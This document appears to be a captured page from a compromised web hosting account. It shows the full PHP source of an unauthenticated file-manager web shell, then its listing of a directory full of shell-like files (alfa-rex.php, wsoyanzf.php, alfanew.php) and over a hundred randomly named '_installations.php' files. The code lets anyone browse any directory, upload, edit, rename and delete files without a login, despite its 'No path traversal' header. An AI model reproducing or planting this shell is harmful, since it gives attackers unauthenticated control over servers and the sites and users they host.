PATH:
home
/
lab2454c
/
.softaculous
<?php /* ===================================================== SAFE PHP FILE MANAGER - Anti 0 KB write - Safe edit / upload / delete / rename - No directory delete - No path traversal ===================================================== */ error_reporting(E_ALL); ini_set('display_errors', 1); /* ================= PATH ================= */ $cwd = getcwd(); if (isset($_GET['p'])) { $real = realpath($_GET['p']); if ($real !== false && is_dir($real)) { $cwd = $real; } } /* ================= BREADCRUMB ================= */ function nav(string $dir): string { $parts = explode(DIRECTORY_SEPARATOR, $dir); $path = ''; $out = []; foreach ($parts as $p) { if ($p === '') continue; $path .= DIRECTORY_SEPARATOR . $p; $out[] = '<a href="?p=' . urlencode($path) . '">' . htmlspecialchars($p) . '</a>'; } return implode(' / ', $out); } $msg = ''; /* ================= SAVE FILE (ANTI 0 KB) ================= */ if (isset($_POST['save'], $_POST['file'], $_POST['content'])) { $file = basename($_POST['file']); $target = $cwd . DIRECTORY_SEPARATOR . $file; if (is_file($target) && is_writable($target)) { $tmp = $target . '.tmp_' . uniqid('', true); $bytes = file_put_contents($tmp, $_POST['content'], LOCK_EX); if ($bytes !== false && filesize($tmp) > 0) { rename($tmp, $target); $msg = 'File saved successfully.'; } else { @unlink($tmp); $msg = 'Write failed. File NOT modified.'; } } else { $msg = 'File not writable.'; } } /* ================= UPLOAD ================= */ if (!empty($_FILES['upload']['name'])) { if ($_FILES['upload']['error'] === UPLOAD_ERR_OK) { $name = basename($_FILES['upload']['name']); $dest = $cwd . DIRECTORY_SEPARATOR . $name; if (!file_exists($dest) && move_uploaded_file($_FILES['upload']['tmp_name'], $dest)) { $msg = 'Upload successful.'; } else { $msg = 'Upload failed or file exists.'; } } else { $msg = 'Upload error.'; } } /* ================= DELETE FILE ================= */ if (isset($_POST['delete'], $_POST['file'])) { $file = basename($_POST['file']); $target = $cwd . DIRECTORY_SEPARATOR . $file; if (is_file($target) && is_writable($target)) { unlink($target); $msg = 'File deleted successfully.'; } else { $msg = 'File not deletable.'; } } /* ================= RENAME FILE ================= */ if (isset($_POST['rename'], $_POST['old'], $_POST['new'])) { $old = basename($_POST['old']); $new = basename($_POST['new']); $oldPath = $cwd . DIRECTORY_SEPARATOR . $old; $newPath = $cwd . DIRECTORY_SEPARATOR . $new; if ($new === '') { $msg = 'New filename cannot be empty.'; } elseif (!is_file($oldPath)) { $msg = 'Source file not found.'; } elseif (file_exists($newPath)) { $msg = 'Target filename already exists.'; } elseif (rename($oldPath, $newPath)) { $msg = 'File renamed successfully.'; } else { $msg = 'Rename failed.'; } } ?> <!doctype html> <html> <head> <meta charset="utf-8"> <title>ꦫꦣꦺꦤ꧀ꦄꦤ꧀ꦠꦱꦺꦤ</title> <style> body { background:#111;color:#eee;font-family:Arial;font-size:14px } a { color:#6cf;text-decoration:none } textarea,input { background:#222;color:#eee;border:1px solid #444 } ul { list-style:none;padding-left:0 } li { margin:6px 0 } .msg { color:#9f9;margin:10px 0 } .small { font-size:12px;color:#aaa } </style> </head> <body> <h3>PATH: <?= nav($cwd); ?></h3> <?php if ($msg): ?> <div class="msg"><?= htmlspecialchars($msg); ?></div> <?php endif; ?> <form method="post" enctype="multipart/form-data"> <input type="file" name="upload"> <input type="submit" value="Upload"> </form> <hr> <?php /* ================= EDIT MODE ================= */ if (isset($_GET['e'])) { $file = basename($_GET['e']); $path = $cwd . DIRECTORY_SEPARATOR . $file; if (is_file($path) && is_readable($path)) { $content = htmlspecialchars(file_get_contents($path)); ?> <form method="post"> <textarea name="content" rows="20" cols="100"><?= $content ?></textarea><br> <input type="hidden" name="file" value="<?= htmlspecialchars($file) ?>"> <input type="submit" name="save" value="Save"> </form> <hr> <?php } } /* ================= FILE LIST ================= */ $h = opendir($cwd); echo '<ul>'; while (($i = readdir($h)) !== false) { if ($i === '.') continue; $p = $cwd . DIRECTORY_SEPARATOR . $i; if (is_dir($p)) { echo '<li>[+] <a href="?p=' . urlencode($p) . '">' . htmlspecialchars($i) . '</a></li>'; } else { echo '<li>[-] ' . htmlspecialchars($i) . ' <a href="?e=' . urlencode($i) . '&p=' . urlencode($cwd) . '">[edit]</a> <form method="post" style="display:inline"> <input type="hidden" name="old" value="' . htmlspecialchars($i) . '"> <input type="text" name="new" placeholder="new name" size="12"> <input type="submit" name="rename" value="rename"> </form> <form method="post" style="display:inline" onsubmit="return confirm(\'Delete file ' . htmlspecialchars($i) . '?\')"> <input type="hidden" name="file" value="' . htmlspecialchars($i) . '"> <input type="submit" name="delete" value="delete"> </form> </li>'; } } closedir($h); echo '</ul>'; ?> </body> </html>
[-] wsoyanzf.php
[edit]
[-] 1qxyw_installations.php
[edit]
[-] xynz.php
[edit]
[-] qu3tm_installations.php
[edit]
[-] 4nvmy_installations.php
[edit]
[-] ln0uo_installations.php
[edit]
[-] rydne_installations.php
[edit]
[-] uw3rg_installations.php
[edit]
[-] e2jzd_installations.php
[edit]
[-] hopf2_installations.php
[edit]
[-] omvgm_installations.php
[edit]
[-] ybuss_installations.php
[edit]
[-] nvnsa_installations.php
[edit]
[-] ocno5_installations.php
[edit]
[-] v99sd_installations.php
[edit]
[-] gua02_installations.php
[edit]
[-] ubxk6_installations.php
[edit]
[-] mx51q_installations.php
[edit]
[-] index.php
[edit]
[-] p8yid_installations.php
[edit]
[-] mc8wk_installations.php
[edit]
[-] op6cl_installations.php
[edit]
[-] j5sjm_installations.php
[edit]
[+]
..
[-] q1tpv_installations.php
[edit]
[-] aazzo_installations.php
[edit]
[-] yw2dv_installations.php
[edit]
[-] ospla_installations.php
[edit]
[-] ia0mc_installations.php
[edit]
[-] 4v0bo_installations.php
[edit]
[-] jyxsr_installations.php
[edit]
[+]
wp_manager
[-] jbrsp_installations.php
[edit]
[-] twvwq_installations.php
[edit]
[-] tzlrt_installations.php
[edit]
[-] whsy.php
[edit]
[-] zhcf1_installations.php
[edit]
[-] hhsdj_installations.php
[edit]
[-] x1qit_installations.php
[edit]
[-] cvztc_installations.php
[edit]
[-] qc7a5_installations.php
[edit]
[-] ykqeq_installations.php
[edit]
[-] rvo5g_installations.php
[edit]
[-] e4yie_installations.php
[edit]
[-] oueql_installations.php
[edit]
[+]
tmp
[-] zvf3w_installations.php
[edit]
[-] 8ruui_installations.php
[edit]
[-] vuns6_installations.php
[edit]
[-] yqhvz_installations.php
[edit]
[-] 885qp_installations.php
[edit]
[-] ezzzd_installations.php
[edit]
[-] kx7wy_installations.php
[edit]
[-] alfa-rex1.php
[edit]
[-] 4abec_installations.php
[edit]
[-] xtymg_installations.php
[edit]
[-] umgej_installations.php
[edit]
[-] 9fksf_installations.php
[edit]
[-] sitepad.php
[edit]
[-] 0xbsv_installations.php
[edit]
[-] tmrmu_installations.php
[edit]
[-] c5jgx_installations.php
[edit]
[-] m70xw_installations.php
[edit]
[-] xwkxb_installations.php
[edit]
[-] wmmuk_installations.php
[edit]
[-] sop8k_installations.php
[edit]
[-] nzg59_installations.php
[edit]
[-] j2mdv_installations.php
[edit]
[-] mzkct_installations.php
[edit]
[-] s2w2n_installations.php
[edit]
[-] zq2qi_installations.php
[edit]
[-] yibdd_installations.php
[edit]
[-] xgrp0_installations.php
[edit]
[-] lul31_installations.php
[edit]
[-] copl1_installations.php
[edit]
[-] xpouq_installations.php
[edit]
[+]
status
[-] hexcu_installations.php
[edit]
[-] vuwys_installations.php
[edit]
[-] wii4s_installations.php
[edit]
[-] jstis_installations.php
[edit]
[-] cnupg_installations.php
[edit]
[-] 4ba2i_installations.php
[edit]
[-] 89ciy_installations.php
[edit]
[-] wu05x_installations.php
[edit]
[-] oko7b_installations.php
[edit]
[+]
logs
[-] .htaccess
[edit]
[-] uuqgk_installations.php
[edit]
[-] randkeyword.php
[edit]
[-] dibyd_installations.php
[edit]
[-] t9ake_installations.php
[edit]
[-] llwyp_installations.php
[edit]
[-] lhphu_installations.php
[edit]
[-] 7b358_installations.php
[edit]
[-] j6xnc_installations.php
[edit]
[-] 2t1rv_installations.php
[edit]
[+]
sess
[-] 1ehvu_installations.php
[edit]
[-] eqgis_installations.php
[edit]
[-] dq1tf_installations.php
[edit]
[-] xnsxn_installations.php
[edit]
[-] vlzr7_installations.php
[edit]
[-] ioios_installations.php
[edit]
[-] 4mhkm_installations.php
[edit]
[-] user.php
[edit]
[-] vaa0r_installations.php
[edit]
[-] lcwfs_installations.php
[edit]
[-] ruvnx_installations.php
[edit]
[-] installations.php
[edit]
[-] 0bfdi_installations.php
[edit]
[-] wopfv_installations.php
[edit]
[-] 92ewk_installations.php
[edit]
[-] swymw_installations.php
[edit]
[-] djlaf_installations.php
[edit]
[-] gebll_installations.php
[edit]
[-] 8s5q3_installations.php
[edit]
[-] 52ywe_installations.php
[edit]
[-] 76qck_installations.php
[edit]
[-] alfa-rex.php
[edit]
[-] wg35e_installations.php
[edit]
[-] yzdtm_installations.php
[edit]
[-] 8uc3a_installations.php
[edit]
[-] ava.php
[edit]
[-] tw4ce_installations.php
[edit]
[-] gsbpw_installations.php
[edit]
[-] ecklb_installations.php
[edit]
[-] lng7o_installations.php
[edit]
[-] bu84i_installations.php
[edit]
[-] shsov_installations.php
[edit]
[-] npdci_installations.php
[edit]
[-] alfanew.php
[edit]
[-] ygdlk_installations.php
[edit]
[-] iia3q_installations.php
[edit]
[-] nxto0_installations.php
[edit]